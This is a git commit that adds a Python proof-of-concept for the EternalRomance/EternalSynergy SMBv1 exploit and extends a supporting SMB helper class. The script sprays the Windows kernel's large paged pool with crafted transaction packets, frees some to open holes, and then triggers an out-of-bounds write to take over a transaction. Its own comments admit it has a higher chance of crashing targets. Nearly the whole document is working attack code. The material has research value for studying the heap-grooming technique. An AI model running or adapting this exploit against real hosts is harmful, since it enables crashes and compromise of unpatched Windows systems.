add poc to demonstrates large paged pool spraying method

This commit is contained in:
worawit
2017-06-25 23:41:38 +07:00
parent acaa27cc80
commit 583871ecae
2 changed files with 120 additions and 30 deletions

90
eternalsynergy_poc.py Normal file
View File

@@ -0,0 +1,90 @@
from mysmb import MYSMB
from impacket import smb
from struct import pack, unpack
import sys
'''
PoC: demonstrates how NSA eternalromance and eternalsynergy does the transaction alignment with large paged pool
Note:
- This method is less reliable than matched-pair method and has higher chance to crash a target
- I add this method to show how to spraying heap with large paged pool only
The exploit method uses only large paged pool for spraying heap. All transaction structs are at start of memory page.
The OOB write bug need to overwrite data on the next memory page. There are 2 cases to make the target crashes.
- The next memory page is invalid (page fault)
- The next memory page is other data structure
Comparing to matched-pair method, the OOB write always writes at valid memory address because the written address is in
same page as allocated transaction. Moreover, if the written address is not our transaction struct, it is likely to be
free chunk data (failed but not crash the target).
'''
USERNAME = ''
PASSWORD = ''
if len(sys.argv) != 3:
print("{} <ip> <pipe_name>".format(sys.argv[0]))
sys.exit(1)
target = sys.argv[1]
pipe_name = sys.argv[2]
conn = MYSMB(target)
conn.login(USERNAME, PASSWORD)
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
conn.set_default_tid(tid)
tid2 = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
fid = conn.nt_create_andx(tid, pipe_name)
print('Sending 50 frag packets (25 to free)')
# paged pool size 0x8000 ... 0xc000
for i in range(5):
for j in range(7, 0xc):
size = (j * 0x1000) + 0xe00
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=size, maxDataCount=0)
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=size, maxDataCount=0, tid=tid2)
#
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0x7e00, maxDataCount=0)
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0x7e00, maxDataCount=0, tid=tid2)
# free 25+1 transactions (create 25 holes)
conn.disconnect_tree(tid2)
print('Sending 40 padding packets')
# fill all large holes (size >= 0x10000)
for i in range(40):
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0xfe80, maxDataCount=0)
# Hope no hole for large paged pool left
reqs = []
for i in range(7):
mid = fid if i == 2 else None
reqs.append(conn.create_trans_packet(pack('<HH', 0x36, fid), mid=mid, totalDataCount=0xfe80, maxDataCount=0))
conn.send_raw(''.join(reqs))
for i in range(7):
conn.recvSMB()
# smb write raw named pipe
conn.do_write_andx_raw_pipe(fid, 'A'*512)
# OOB write
conn.send_trans_secondary(fid, data='\x00\x00', dataDisplacement=0xfdc0)
# test OOB write result by sending a secondary with mid=0 and bad data displacement
conn.send_trans_secondary(0, data='\x00', dataDisplacement=0xffff)
# if success, the target must reply an error
# if no reply, fail
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() != 0:
print('Successfully took over a transaction')
else:
print('Fail to took over a transaction')
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()

View File

@@ -103,7 +103,7 @@ def _setup_login_packet_hook(maxBufferSize):
class MYSMB(smb.SMB):
def __init__(self, remote_host, use_ntlmv2=True):
def __init__(self, remote_host, use_ntlmv2=True, timeout=8):
self.__use_ntlmv2 = use_ntlmv2
self._default_tid = 0
self._pid = os.getpid() & 0xffff
@@ -113,7 +113,7 @@ class MYSMB(smb.SMB):
self._pkt_flags2 = 0
self._last_tid = 0 # last tid from connect_tree()
self._last_fid = 0 # last fid from nt_create_andx()
smb.SMB.__init__(self, remote_host, remote_host)
smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
def set_pid(self, pid):
self._pid = pid
@@ -179,7 +179,7 @@ class MYSMB(smb.SMB):
self.sendSMB(pkt)
return self.recvSMB()
def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None):
def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None, tid=None):
writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short()
writeAndX['Parameters']['Fid'] = fid
@@ -190,16 +190,16 @@ class MYSMB(smb.SMB):
writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1)
writeAndX['Data'] = '\x00' + data # pad 1 byte
self.send_raw(self.create_smb_packet(writeAndX, mid, pid))
self.send_raw(self.create_smb_packet(writeAndX, mid, pid, tid))
return self.recvSMB()
def create_smb_packet(self, smbReq, mid=None, pid=None):
def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
if mid is None:
mid = self.next_mid()
pkt = smb.NewSMBPacket()
pkt.addCommand(smbReq)
pkt['Tid'] = self._default_tid
pkt['Tid'] = self._default_tid if tid is None else tid
pkt['Uid'] = self._uid
pkt['Pid'] = self._pid if pid is None else pid
pkt['Mid'] = mid
@@ -217,7 +217,7 @@ class MYSMB(smb.SMB):
def send_raw(self, data):
self.get_socket().send(data)
def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
@@ -241,13 +241,13 @@ class MYSMB(smb.SMB):
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
return self.recvSMB()
def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY)
transCmd['Parameters'] = SMBTransactionSecondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
@@ -258,12 +258,12 @@ class MYSMB(smb.SMB):
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
@@ -287,13 +287,13 @@ class MYSMB(smb.SMB):
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
return self.recvSMB()
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
@@ -304,12 +304,12 @@ class MYSMB(smb.SMB):
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
if maxSetupCount is None:
maxSetupCount = len(setup)
if totalParameterCount is None:
@@ -332,13 +332,13 @@ class MYSMB(smb.SMB):
transCmd['Parameters']['Function'] = function
transCmd['Parameters']['Setup'] = setup
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
return self.recvSMB()
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
transCmd['Parameters']['TotalParameterCount'] = len(param)
@@ -348,10 +348,10 @@ class MYSMB(smb.SMB):
transCmd['Parameters']['DataCount'] = len(data)
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
_put_trans_data(transCmd, param, data, noPad)
return self.create_smb_packet(transCmd, mid, pid)
return self.create_smb_packet(transCmd, mid, pid, tid)
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
def recv_transaction_data(self, mid, minLen):
data = ''